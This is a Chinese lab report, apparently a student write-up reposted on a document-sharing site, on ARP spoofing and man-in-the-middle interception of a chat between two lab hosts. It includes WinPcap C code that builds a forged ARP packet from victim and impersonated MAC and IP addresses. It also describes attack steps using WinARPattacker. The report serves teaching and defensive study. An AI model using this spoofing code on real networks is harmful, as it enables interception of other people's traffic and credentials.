ARP中间人信息截取.docx
《ARP中间人信息截取.docx》由会员分享,可在线阅读,更多相关《ARP中间人信息截取.docx(11页珍藏版)》请在冰豆网上搜索。
ARP中间人信息截取
ARP中间人信息截取
目录
实验简介1
实验环境2
实验步骤3
实验代码8
实验总结10
实验简介
中间人攻击:
一种对网络中两台或多台主机的之间的数据包进行攻击的方式。
发动中间人攻击时,攻击者位于合法主机的通信路径中间,通过捕获、修改、转发双方之间的数据包的手段来达到攻击的目的。
中间人攻击就好像合法主机间通信的“透明中继”,具有隐蔽性强,危害性高的特点。
中间人攻击中常见的类型有:
(1)包捕获:
这类攻击主要是涉及获取用户名,密码等敏感信息的攻击方法。
对于用明文或低度加密的信息。
(2)包修改:
通过修改被捕获的数据包,然后再将其发送到网络中的方法来达到攻击目的。
(3)会话劫持:
这类攻击主要通过中途接管主机间的会话,冒充合法主机,以达到攻击的目的。
ARP欺骗的原理:
以太网寻址是通过MAC地址而不是IP地址。
ARP协议实现了IP地址到MAC地址转换。
如果数据链路层不知道目的IP的MAC地址,它就向局域网广播一个ARP请求给网内的每一台主机,但只有具有此IP的主机收到这份广播报文才会向源主机回送一个包含其MAC地址的ARP响应。
为了提高地址转换效率,每台主机的内存中都存在有一个从IP地址到MAC地址的映射表,称为ARP缓存,它是一个动态变化的转换表,用以存放主机最近使用的IP地址和MAC地址的映射记录,其生存周期为两分钟。
对大多数操作系统而言,如果收到一个ARP应答,它们不管自己是否在此之前曾发出ARP请求报文,都会自动更新自己的ARP缓存,因此ARP是一个无状态的协议,ARP欺骗就是利用这一点进行欺骗。
ARP欺骗的核心思想就是向目标主机发送一个伪造的IP-MAC映射的ARP响应,使目标主机收到伪造的ARP应答后更新其ARP缓存,从而使目标主机将数据包发送给指定的主机。
帧的结构如下:
实验环境
主机A:
安装JDK、虚拟机和wireshark。
主机B:
安装VC6.0、winpcap、wireshark和winARPattacker。
主机C:
安装JDK、虚拟机和wireshark。
主机A与主机C使用由Java编程的聊天室进行通信,通信时在A上配置目标ip:
192.168.1.117;目标端口:
8080;本地发送端口:
8081;本地接收端口:
8082。
在主机C的聊天室中配置目标ip:
192.168.1.112;目标端口:
8082;
本地发送端口:
8081;本地接收端口:
8080。
实验步骤
第一步:
A、B、C三台主机分别查看自己的IP和MAC
主机A
主机B
主机C
第二步:
进行欺骗,本实验分别使用了软件欺骗和代码欺骗,如图一为软件欺骗时的截屏,图二和图三为软件欺骗成功的截图。
图一
图二
图三
如图四为代码欺骗成功,如图五为代码欺骗成功时的截屏。
图四
图五
攻击方使用wireshark分别对软件欺骗和代码欺骗过程进行抓包,如图六和图七
图六
图七
第三步:
在A和C正常通信时,可以相互收到对方发来的信息,如图八所示
图八
当聊天信息被B主机截取时,C无法收到A发来的消息如图九。
在相同的时刻,C没有收到A发来的消息。
图九
被B截获的消息抓包的截图,如图十,截取到通信内容为7878。
图十
实验代码
获取设备
pcap_if_t*alldevs;//定义一个网络接口的一个节点
pcap_if_t*d;
inti=0,inum=0,j;
charerrbuf[PCAP_ERRBUF_SIZE];
u_charpacket[64];
pcap_t*adhandle;
/*获得设备列表*/
if(pcap_findalldevs(&alldevs,errbuf)==-1)
{
fprintf(stderr,"Errorinpcap_findalldevs:
%s\n",errbuf);
exit
(1);
}
/*打印列表*/
for(d=alldevs;d!
=NULL;d=d->next)
{
printf("%d.%s",++i,d->name);
if(d->description)
printf("(%s)\n",d->description);
else
printf("(Nodescriptionavailable)\n");
}
if(i==0)
{
printf("\nNointerfacesfound!
MakesureWinPcapisinstalled.\n");
return0;
}
构造欺骗包
printf("输入被攻击方的MAC地址:
\n");
scanf("%2x-%2x-%2x-%2x-%2x-%2x",&packet[0],&packet[1],&packet[2],&packet[3],&packet[4],&packet[5]);
printf("输入要伪造的MAC地址:
\n");
scanf("%2x-%2x-%2x-%2x-%2x-%2x",&packet[6],&packet[7],&packet[8],&packet[9],&packet[10],&packet[11]);
/*帧类型,0806表示ARP协议*/
packet[12]=0x08;
packet[13]=0x06;
/*硬件类型,0001以太网*/
packet[14]=0x00;
packet[15]=0x01;
/*协议类型,0800IP协议*/
packet[16]=0x08;
packet[17]=0x00;
/*硬件地址长度*/
packet[18]=0x06;
/*协议地址长度*/
packet[19]=0x04;
/*op,01表示请求,02表示回复*/
packet[20]=0x00;
packet[21]=0x01;
/*发送端以太网地址,同首部中以太网源地址*/
for(i=22;i<28;i++)
{
packet[i]=packet[i-16];
}
printf("输入要假冒的ip地址:
\n");
scanf("%d.%d.%d.%d",&packet[28],&packet[29],&packet[30],&packet[31]);
/*目的以太网地址,同首部中目的地址*/
for(i=32;i<38;i++)
{
packet[i]=packet[i-32];
}
/*目的IP地址,手动输入*/
printf("输入被攻击方的ip地址:
\n");
scanf("%d.%d.%d.%d",&packet[38],&packet[39],&packet[40],&packet[41]);
/*填充数据*/
for(j=42;j<64;j++)
{
packet[j]=0x00;
}
实验总结
随着计算机网络技术的发展,网络安全问题层出不穷,对于安全问题的防范有很多的做法,但从问题的根本出发来解决效果会更好。
目前,对ARP欺骗的研究很多,关于ARP欺骗的防护软件也很多,但它们主要是基于对ARP高速缓存的保护,这些软件通常工作在用户层,主要体现在对网关ARP映射的保护,这样虽然在一定程度上保护了主机,但没有彻底解决ARP欺骗对网络的威胁。
本次实验从分析ARP欺骗的根本出发,经过大量的资料搜集和学习工作,现将本文的主要工作总结如下:
(1)全面系统地分析了关于ARP协议的技术资料,并结合以太网接口层、缓冲区、接口输入输出等TCP/IP网络实现代码,认真分析了ARP协议在以太网系统中的实现,找到了ARP协议存在实现的缺陷。
(2)详细分析了ARP欺骗的原理和部分实现代码,分析了黑客利用ARP病毒进行网络欺骗的技术,找到解决ARP欺骗的途径。
由于时间的原因,只做了对中间人攻击的欺骗与截取两部分,对于截获后包的转发没有做进一步的研究。